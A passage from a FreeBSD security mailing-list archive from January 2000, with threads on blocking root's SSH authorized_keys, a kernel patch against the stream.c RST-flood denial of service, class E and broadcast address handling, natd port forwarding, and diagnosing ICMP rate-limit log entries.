sshd as well as cheking the > archives and cannot answer this question: > > Is there any way to get sshd to ignore root's authorized_keys? (disallow > the practice of putting the private key on another sever to allow for > passwordless entry) > > I would still like to allow this on our servers for non-root accts but *DO > NOT* want to allow it for root... > > Any hits with the clue bat? > > Thanks. > > - Todd > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 12: 9: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from security1.noc.flyingcroc.net (security1.noc.flyingcroc.net [207.246.128.54]) by hub.freebsd.org (Postfix) with ESMTP id 62F7414D23 for ; Wed, 26 Jan 2000 12:09:00 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by security1.noc.flyingcroc.net (8.9.3/8.9.3) with ESMTP id MAA60735; Wed, 26 Jan 2000 12:08:34 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: security1.noc.flyingcroc.net: todd owned process doing -bs Date: Wed, 26 Jan 2000 12:08:34 -0800 (PST) From: Todd Backman X-Sender: todd@security1.noc.flyingcroc.net To: Bill Swingle Cc: security@freebsd.org Subject: Re: root authorized_keys ignore? In-Reply-To: <20000126113452.A61475@dub.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hey Bill! just the use of authorized_keys... just want to combat the "lazy-admin-syndrome" ;^) Thanks. - Todd btw...Any good looks from the tshirt??? ;^) On 26 Jan 2000, Bill Swingle wrote: > Do you wantto disallow root logins altogether or just the use of > authorized_keys? > > -Bill > > On Wed, Jan 26, 2000 at 11:18:53AM -0800, Todd Backman wrote: > > > > Greetings. > > > > I have checked the man pages for both ssh and sshd as well as cheking the > > archives and cannot answer this question: > > > > Is there any way to get sshd to ignore root's authorized_keys? (disallow > > the practice of putting the private key on another sever to allow for > > passwordless entry) > > > > I would still like to allow this on our servers for non-root accts but *DO > > NOT* want to allow it for root... > > > > Any hits with the clue bat? > > > > Thanks. > > > > - Todd > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > -- > -=| --- B i l l S w i n g l e --- http://www.dub.net/ > -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com > -=| Different all twisty a of in maze are you, passages little > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 13:22:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id AF1C2150EA for ; Wed, 26 Jan 2000 13:22:40 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id NAA15790; Wed, 26 Jan 2000 13:22:39 -0800 (PST) (envelope-from dillon) Date: Wed, 26 Jan 2000 13:22:39 -0800 (PST) From: Matthew Dillon Message-Id: <200001262122.NAA15790@apollo.backplane.com> To: Todd Backman Cc: Bill Swingle , security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Hey Bill! : :just the use of authorized_keys... just want to combat the :"lazy-admin-syndrome" ;^) : :Thanks. : :- Todd Just write a root cron job that looks for ~root/authorized_keys and whacks it, then sends a berating email to root. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 14: 0:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 40084156F8 for ; Wed, 26 Jan 2000 14:00:06 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id NAA23205; Wed, 26 Jan 2000 13:59:19 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id NAA10961; Wed, 26 Jan 2000 13:59:19 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id NAA20167; Wed, 26 Jan 2000 13:59:17 -0800 (PST) Message-ID: <388F6F57.9F7E52E@softweyr.com> Date: Wed, 26 Jan 2000 15:04:07 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh , geniusj , security@freebsd.org Subject: Re: Merged patches References: <200001251726.KAA04563@harmony.village.org> <388E1C3F.B2056E81@softweyr.com> Content-Type: multipart/mixed; boundary="------------CA0431C31B6036E0255056E7" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. --------------CA0431C31B6036E0255056E7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Wes Peters wrote: > > Warner Losh wrote: > > > > In message geniusj writes: > > : This patch does not seem to apply, using 3.4-STABLE branch did patch < > > : kern.patch from /sys, it applies, but many hunks failed.. Will this be the > > : official patch? You were the one working on it, no? :) > > > > This patch is for -current only. If a different one is needed for > > stable, we'll deal with that then. We're 3 days from code freeze, and > > I want to get something good into 4.0 to help limit the damage here. > > I'm importing this patch to a -STABLE machine now. Hold your horses, I > should be ready to post it in another hour or two. It's already running > on my laptop, but I want to make sure it applies cleanly against the > most up-to-date -STABLE I can get from cvsup8, to avoid complaints. OK, here's the diff, from -STABLE as of late yesterday evening. Anyone following this thread running -CURRENT or any other late model 3.X please test this and report any problems to me. A good eyeballing by others wouldn't hurt either. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ --------------CA0431C31B6036E0255056E7 Content-Type: text/plain; charset=us-ascii; name="tcp_input.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="tcp_input.patch" *** tcp_input.c.orig Thu Oct 14 05:49:38 1999 --- tcp_input.c Tue Jan 25 22:40:29 2000 *************** *** 432,438 **** } tp = intotcpcb(inp); if (tp == 0) ! goto dropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; --- 432,438 ---- } tp = intotcpcb(inp); if (tp == 0) ! goto maybedropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; *************** *** 460,466 **** */ if (tiflags & TH_ACK) { tcpstat.tcps_badsyn++; ! goto dropwithreset; } goto drop; } --- 460,466 ---- */ if (tiflags & TH_ACK) { tcpstat.tcps_badsyn++; ! goto maybedropwithreset; } goto drop; } *************** *** 676,682 **** if (tiflags & TH_RST) goto drop; if (tiflags & TH_ACK) ! goto dropwithreset; if ((tiflags & TH_SYN) == 0) goto drop; if ((ti->ti_dport == ti->ti_sport) && --- 676,682 ---- if (tiflags & TH_RST) goto drop; if (tiflags & TH_ACK) ! goto maybedropwithreset; if ((tiflags & TH_SYN) == 0) goto drop; if ((ti->ti_dport == ti->ti_sport) && *************** *** 688,693 **** --- 688,694 ---- * packet with M_BCAST not set. */ if (m->m_flags & (M_BCAST|M_MCAST) || + IN_MULTICAST(ntohl(ti->ti_src.s_addr)) || IN_MULTICAST(ntohl(ti->ti_dst.s_addr))) goto drop; MALLOC(sin, struct sockaddr_in *, sizeof *sin, M_SONAME, *************** *** 809,815 **** if ((tiflags & TH_ACK) && (SEQ_LEQ(ti->ti_ack, tp->snd_una) || SEQ_GT(ti->ti_ack, tp->snd_max))) ! goto dropwithreset; break; /* --- 810,816 ---- if ((tiflags & TH_ACK) && (SEQ_LEQ(ti->ti_ack, tp->snd_una) || SEQ_GT(ti->ti_ack, tp->snd_max))) ! goto maybedropwithreset; break; /* *************** *** 1776,1782 **** if (tp->t_state == TCPS_SYN_RECEIVED && (tiflags & TH_ACK) && (SEQ_GT(tp->snd_una, ti->ti_ack) || SEQ_GT(ti->ti_ack, tp->snd_max)) ) ! goto dropwithreset; #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) tcp_trace(TA_DROP, ostate, tp, &tcp_saveti, 0); --- 1777,1783 ---- if (tp->t_state == TCPS_SYN_RECEIVED && (tiflags & TH_ACK) && (SEQ_GT(tp->snd_una, ti->ti_ack) || SEQ_GT(ti->ti_ack, tp->snd_max)) ) ! goto maybedropwithreset; #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) tcp_trace(TA_DROP, ostate, tp, &tcp_saveti, 0); *************** *** 1786,1791 **** --- 1787,1802 ---- (void) tcp_output(tp); return; + /* + * Conditionally drop with reset or just drop depending on whether + * we think we are under attack or not. + */ + maybedropwithreset: + #ifdef ICMP_BANDLIM + if (badport_bandlim(1) < 0) + goto drop; + #endif + /* fall through */ dropwithreset: #ifdef TCP_RESTRICT_RST if (restrict_rst) *************** *** 1796,1802 **** * Make ACK acceptable to originator of segment. * Don't bother to respond if destination was broadcast/multicast. */ ! if ((tiflags & TH_RST) || m->m_flags & (M_BCAST|M_MCAST) || IN_MULTICAST(ntohl(ti->ti_dst.s_addr))) goto drop; #ifdef TCPDEBUG --- 1807,1815 ---- * Make ACK acceptable to originator of segment. * Don't bother to respond if destination was broadcast/multicast. */ ! if ((tiflags & TH_RST) || ! m->m_flags & (M_BCAST|M_MCAST) || ! IN_MULTICAST(ntohl(ti->ti_src.s_addr)) || IN_MULTICAST(ntohl(ti->ti_dst.s_addr))) goto drop; #ifdef TCPDEBUG --------------CA0431C31B6036E0255056E7-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 14:26:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id ACA851502A for ; Wed, 26 Jan 2000 14:26:20 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115219>; Thu, 27 Jan 2000 09:26:55 +1100 Content-return: prohibited From: Peter Jeremy Subject: Re: Merged patches In-reply-to: <4.2.2.20000125234009.0404f860@localhost>; from brett@lariat.org on Wed, Jan 26, 2000 at 05:50:44PM +1100 To: Brett Glass Cc: security@FreeBSD.ORG Message-Id: <00Jan27.092655est.115219@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <4.2.2.20000125133808.019fd6a0@localhost> <200001260518.VAA08275@apollo.backplane.com> <4.2.2.20000125234009.0404f860@localhost> Date: Thu, 27 Jan 2000 09:26:53 +1100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 2000-Jan-26 17:50:44 +1100, Brett Glass wrote: >At 10:18 PM 1/25/2000 , Matthew Dillon wrote: > >> No. There is a time and place for the use of a switch statement to >> cover all your bases, but a *flags* field is *NOT* it. > >Before you assert this so emphatically, allow me to demonstrate. Again, >once 4.0 is frozen, I intend to generate some patches which show what >I have in mind. CS-101: Firstly make it work. Once it works, think about making it faster. I don't think anyone has a problem with you improving the performance of tcp_input.c. The immediate problem is that a defect in FreeBSD's TCP/IP stack, that fairly seriously damages its robustness, has come to light. We need to ensure that this problem does not exist in 4.0-RELEASE - which enters code freeze this weekend. At this point in time, we need a conservative patch - one that is least likely to break something else. Warner's patch seems to meet that requirement with negligible impact on performance (the only impact is a couple of additional tests for multicast source addresses). Your proposal is solely aimed at improving the code efficiency - it does not functionally change the code at all (it is not, by itself, a fix to the RST-flood problem). From this point of view, I don't believe that it would be appropriate to make the changes you are proposing, at this time, for the following reasons: a) It is inappropriate to combine bug-fixes with unrelated efficiency improvements. Doing so just makes it more difficult to work out why the change was made. b) You have not demonstrated that your proposal is actually better than the existing code. The relative behaviour of the different approaches is heavily dependent on the details of how the compiler treats the different code constructs, and how efficiently the CPU executes the resulting object code. c) A larger change introduces more opportunity for accidently introducing a new bug - which is especially undesirable at this point in the release cycle. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 16: 6:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 9A1FD1548B for ; Wed, 26 Jan 2000 16:06:39 -0800 (PST) (envelope-from lam@NUXI.com) Received: from localhost (lam@localhost) by relay.nuxi.com (8.9.3/8.9.3) with SMTP id QAA34841 for ; Wed, 26 Jan 2000 16:06:39 -0800 (PST) (envelope-from lam@relay.nuxi.com) Date: Wed, 26 Jan 2000 16:06:39 -0800 (PST) From: lam To: freebsd-security@freebsd.org Subject: poke a hole through a wall Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Group, I posted this question in questions@freebsd.org with no results. I hope I can find an annswer here. This is not a pure security question, but it might be a security realted issue. If it's not, I apologize in advance. Goal: poke a hole throught the firewall. (?) The original setup: An incoming ISDN is going into a 700 Cisco router; connecting an NT workstation to my roomate's company (as a dhcp client). Among normal usage (webpage, wp, mail) that NT is also connecting to the company sun servers with a X client or server (X reflection), for debuging/developing. The improved setup: An 486 with 2 nics, one is connecting with the cisco router as a dhcp client, the other nic is connecting with internal systems (the original NT, a FreeBSD system, and more in the future). So far, things seem ok with one exception. The problem: The NT X Reflection (X client/server) is not working. If I connect the NT directly to the Cisco router, there is no problem. As soon as I connect my 486 router, it won't start up the (client?) application. The tries and errors?: 1. Adding "use_sockets yes" and "same_ports yes" in /etc/natd.conf 2. Adding "natd_flags=-dynamic -redirect_ports tcp target_ip:6000-6063 6000-6063", this is a guess: I looked at /etc/services and those ranges seem logical. 3. in tcpdump, I can't see those ports in demand at all. All I see are telnet ports. Any sugestions are more than welcome. Any pointers to the docs, anything at all. Thanks for reading. ---Lam Nguyen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 16:29:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from nick.refract.com (dsl-75.dsldesigns.com [198.76.82.75]) by hub.freebsd.org (Postfix) with ESMTP id 6269D15156 for ; Wed, 26 Jan 2000 16:29:13 -0800 (PST) (envelope-from nblasgen@refract.com) Received: from pen3 (pent3.local [10.0.0.5]) by nick.refract.com (8.9.3/8.9.3) with SMTP id UAA32411 for ; Wed, 26 Jan 2000 20:10:24 -0800 From: "Nicholas W. Blasgen" To: Subject: Streem.c Date: Wed, 26 Jan 2000 16:28:40 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Where can I find an (un)official patch for this stream.c bug that BugTraq has been covering. I just joined the list today, so sorry if you have already said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 16:56:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id C28E1153C4; Wed, 26 Jan 2000 16:56:05 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id QAA23831; Wed, 26 Jan 2000 16:55:52 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id QAA83640; Wed, 26 Jan 2000 16:55:52 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id QAA02295; Wed, 26 Jan 2000 16:55:51 -0800 (PST) From: Don Lewis Message-Id: <200001270055.QAA02295@salsa.gv.tsc.tdk.com> Date: Wed, 26 Jan 2000 16:55:51 -0800 In-Reply-To: <200001261114.DAA74269@gndrsh.dnsmgr.net> References: <200001261114.DAA74269@gndrsh.dnsmgr.net> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: "Rodney W. Grimes" , Don.Lewis@tsc.tdk.com (Don Lewis) Subject: Re: Merged patches Cc: dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 26, 3:14am, "Rodney W. Grimes" wrote: } Subject: Re: Merged patches } > On Jan 25, 11:34am, "Rodney W. Grimes" wrote: } > } Subject: Re: Merged patches } > } > I found a bug in the patch: } > } > } > } > : #endif } > } > :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) } > } > :- goto drop; } > } > :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || } > } > :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || } > } > :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) } > } } > } And yet another bugger.... you just made it impossible for anyone } > } doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD } > } using TCP without hacking the kernel code. Please remove the } > } last check here. } > } > How about changing the last part to to } > ip->ip_src.s_addr == htonl(INADDR_BROADCAST) } > which is the subset of IN_EXPERIMENTAL that I was concerned about. } > } > Without this, someone will post yet another variant of this attack } > using a broadcast source address. } } The short and simple answer: } ipfw add deny ip from 240.0.0.0/4 to any } } The longer answer: } Manning is not very clear on Class E space, Technically 255.255.255.255 } is a class E address, and is part of ``a range left unspecified''. Putting } your patch above in would be ``specifing'' a behavior. But yet Manning } later says: } } Note: No addresses are allowed with the four highest-order bits } set to 1-1-1-1. These addresses, called "classE", are reserved. } } Reserved means we should not be putting in hard code that effects how } they behave, IMNSO. 255.255.255.255 is also defined as a broadcast address on the local network. There's already code in the kernel that treats that in a special way. In particular, if we send a TCP RST to this address, it will probably get turned into a MAC level broadcast and get forwarded all over the local network, though it wouldn't be forwarded by any routers. BTW, there already is code that treats class E addresses specially in in_canforward(), which gets called from the packet routing code to block the forwarding of packets in the address range, and also by the ICMP code to block replies to this address range. } Your going to have to do the short and simple answer covers to cover } the other parts of this space anyway, so you might as well only do it } one place and not create what may be a headache for someone else. I don't think that the rest of this address space will be as much of a problem. They stack might emit a RST packet with a destination address in this range, but it won't go anywhere except maybe to the default router. } Also don't some strange clients like DHCP use this as a source address } during their startup phase? No, they use 0.0.0.0 as their source address and 255.255.255.255 as their destination address. They also don't use TCP. There is also the problem of source addresses that are broadcast addresses on local networks. This shouldn't be remotely exploitable if you have anti-spoofing filter rules on the router between the local network and any untrusted networks. It might be a good idea to fix this as well at some point, but this is harder to fix. Hey, don't we have a knob to control the forwarding of directed broadcasts? I just looked and didn't see anything obvious. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 17:11:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id AD82C154B4 for ; Wed, 26 Jan 2000 17:11:40 -0800 (PST) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id UAA25902; Wed, 26 Jan 2000 20:11:36 -0500 (EST) Date: Wed, 26 Jan 2000 20:11:35 -0500 (EST) From: Bosko Milekic To: "Nicholas W. Blasgen" Cc: security@FreeBSD.ORG Subject: Re: Streem.c In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 26 Jan 2000, Nicholas W. Blasgen wrote: >Where can I find an (un)official patch for this stream.c bug that BugTraq >has been covering. I just joined the list today, so sorry if you have >already said. Then you should certainly browse the archives at: http://docs.freebsd.org/mail/ Since this issue has just recently been beaten to death, and I'm sure that most folks would not really like to re-open this can of worms, the above will provide what you're inquiring about. -- Bosko Milekic Email: bmilekic@dsuper.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 18: 7:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 4A8F4154E7; Wed, 26 Jan 2000 18:07:07 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id SAA75635; Wed, 26 Jan 2000 18:06:53 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001270206.SAA75635@gndrsh.dnsmgr.net> Subject: Re: Merged patches In-Reply-To: <200001270055.QAA02295@salsa.gv.tsc.tdk.com> from Don Lewis at "Jan 26, 2000 04:55:51 pm" To: Don.Lewis@tsc.tdk.com (Don Lewis) Date: Wed, 26 Jan 2000 18:06:53 -0800 (PST) Cc: dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ... > } Reserved means we should not be putting in hard code that effects how > } they behave, IMNSO. > > 255.255.255.255 is also defined as a broadcast address on the local network. > There's already code in the kernel that treats that in a special way. In > particular, if we send a TCP RST to this address, it will probably get turned > into a MAC level broadcast and get forwarded all over the local network, > though it wouldn't be forwarded by any routers. > > BTW, there already is code that treats class E addresses specially in > in_canforward(), which gets called from the packet routing code to > block the forwarding of packets in the address range, and also by the > ICMP code to block replies to this address range. Yes, I know, as I have had to rip it out in every ``experimental'' network project I have done. If I recall correctly that was done with the multicast intergration, and it was wrong, these are not defined to be multicast addresses by any standard, but the Deering multicast code treated them as such. > > } Your going to have to do the short and simple answer covers to cover > } the other parts of this space anyway, so you might as well only do it > } one place and not create what may be a headache for someone else. > > I don't think that the rest of this address space will be as much of > a problem. They stack might emit a RST packet with a destination address > in this range, but it won't go anywhere except maybe to the default router. And with the correct userland policy put in place via ipfw or ipfilter they won't even get that far. ... > > There is also the problem of source addresses that are broadcast addresses > on local networks. This shouldn't be remotely exploitable if you have > anti-spoofing filter rules on the router between the local network and > any untrusted networks. It might be a good idea to fix this as well at > some point, but this is harder to fix. More things that belong in firewall rules, not in the kernel. You going to complicate the code beyond comprehension and for little to no gain. > > Hey, don't we have a knob to control the forwarding of directed broadcasts? > I just looked and didn't see anything obvious. I think your thinking about net.inet.icmp.bmcastecho, I don't know of a directed broadcast forwarding knob on freebsd :-(. We deal with that issue with yet more ipfw policy. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 19:56: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id AD9E0154B2 for ; Wed, 26 Jan 2000 19:55:55 -0800 (PST) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.9.3/8.9.3) id UAA01355 for security@freebsd.org; Wed, 26 Jan 2000 20:55:50 -0700 (MST) Date: Wed, 26 Jan 2000 20:55:50 -0700 (MST) From: Brett Glass Message-Id: <200001270355.UAA01355@lariat.lariat.org> To: security@freebsd.org Subject: Riddle me this Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org A fellow here in town asked me to look at a machine which he thought had been attacked. Sure enough, when I checked the logs, I saw Jan 24 19:18:59 victim /kernel: icmp-response bandwidth limit 108/100 pps Jan 24 19:19:37 victim /kernel: icmp-response bandwidth limit 115/100 pps Jan 24 19:19:38 victim /kernel: icmp-response bandwidth limit 131/100 pps Jan 24 19:19:39 victim /kernel: icmp-response bandwidth limit 135/100 pps Jan 24 19:19:40 victim /kernel: icmp-response bandwidth limit 104/100 pps Jan 24 19:20:12 victim /kernel: icmp-response bandwidth limit 146/100 pps Jan 24 19:20:13 victim /kernel: icmp-response bandwidth limit 127/100 pps Jan 24 19:20:14 victim /kernel: icmp-response bandwidth limit 127/100 pps Jan 24 19:20:15 victim /kernel: icmp-response bandwidth limit 118/100 pps which means that ICMP bandwidth limiting had kicked in. Probably stream.c, I thought. While this seemed to be keeping the system alive, I noted that the machine was also acting as a router for a private subnet with some Windows machines on it. So, since multicast IP wasn't in use, I added IPFW rules that blocked multicast addresses on all interfaces: 00049 deny ip from 224.0.0.0/4 to any via any 00050 deny ip from any to 224.0.0.0/4 via any So far, so good. But a couple of days later, when I checked the logs, I saw: Jan 26 15:23:49 victim natd[125]: failed to write packet back (No route to host) Maybe I'm just dense this evening and the cause of the message is obvious, but I can't figure out what would have generated this message. The system has a static default route to the upstream ISP's router. Is this a side effect of the rules I added? Or of something else? --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 20:25:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4D57715363 for ; Wed, 26 Jan 2000 20:25:23 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id UAA18744; Wed, 26 Jan 2000 20:25:12 -0800 (PST) (envelope-from dillon) Date: Wed, 26 Jan 2000 20:25:12 -0800 (PST) From: Matthew Dillon Message-Id: <200001270425.UAA18744@apollo.backplane.com> To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: Riddle me this References: <200001270355.UAA01355@lariat.lariat.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :A fellow here in town asked me to look at a machine which he thought had been :attacked. Sure enough, when I checked the logs, I saw : :Jan 24 19:18:59 victim /kernel: icmp-response bandwidth limit 108/100 pps :Jan 24 19:19:37 victim /kernel: icmp-response bandwidth limit 115/100 pps :Jan 24 19:19:38 victim /kernel: icmp-response bandwidth limit 131/100 pps :Jan 24 19:19:39 victim /kernel: icmp-response bandwidth limit 135/100 pps :Jan 24 19:19:40 victim /kernel: icmp-response bandwidth limit 104/100 pps :Jan 24 19:20:12 victim /kernel: icmp-response bandwidth limit 146/100 pps :Jan 24 19:20:13 victim /kernel: icmp-response bandwidth limit 127/100 pps :Jan 24 19:20:14 victim /kernel: icmp-response bandwidth limit 127/100 pps :Jan 24 19:20:15 victim /kernel: icmp-response bandwidth limit 118/100 pps : :which means that ICMP bandwidth limiting had kicked in. Probably stream.c, I :thought. While this seemed to be keeping the system alive, I noted that the :machine was also acting as a router for a private subnet with some Windows :machines on it. So, since multicast IP wasn't in use, I added IPFW rules that :blocked multicast addresses on all interfaces: : :00049 deny ip from 224.0.0.0/4 to any via any :00050 deny ip from any to 224.0.0.0/4 via any : :So far, so good. But a couple of days later, when I checked the logs, I saw: : :Jan 26 15:23:49 victim natd[125]: failed to write packet back (No route to host) : :Maybe I'm just dense this evening and the cause of the message is obvious, but :I can't figure out what would have generated this message. The system has a :static default route to the upstream ISP's router. : :Is this a side effect of the rules I added? Or of something else? : :--Brett Glass Well, certainly the 'failed to write packet back' has nothing to do with the icmp bandwidth limiting -- the bandwidth limiting drops packets, the sender would not see an error. Also, the bandwidth limiting only drops kernel-generated icmp response packets for certain specific cases unrelated to NAT. It's hard to say without doing a continuous tcpdump but the most likely possibility is that someone was playing a game or doing something else related to sending and receiving UDP packets, and then disconnected. Either that or it was a really dumb hacker attacking the machine (at only 120 pps). What likely occured in the Jan 24 logs was some sort of continuous problem for the time range indicated (19:18:59 -> 19:20:15), but only exceeding the 100 pps threshold at a couple of points during that period. It would be interesting to see if there is some sort of continuing problem by reducing the limit from 100 to 50, 20, 10, and so forth, and seeing if it catches anything. If you find a potential problem then raise the limit back up again and capture a bunch of packets with tcpdump and see if you can locate the problem (use the -l option to tcpdump and then grep for icmp packets). -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 22:30: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 79EB914D06 for ; Wed, 26 Jan 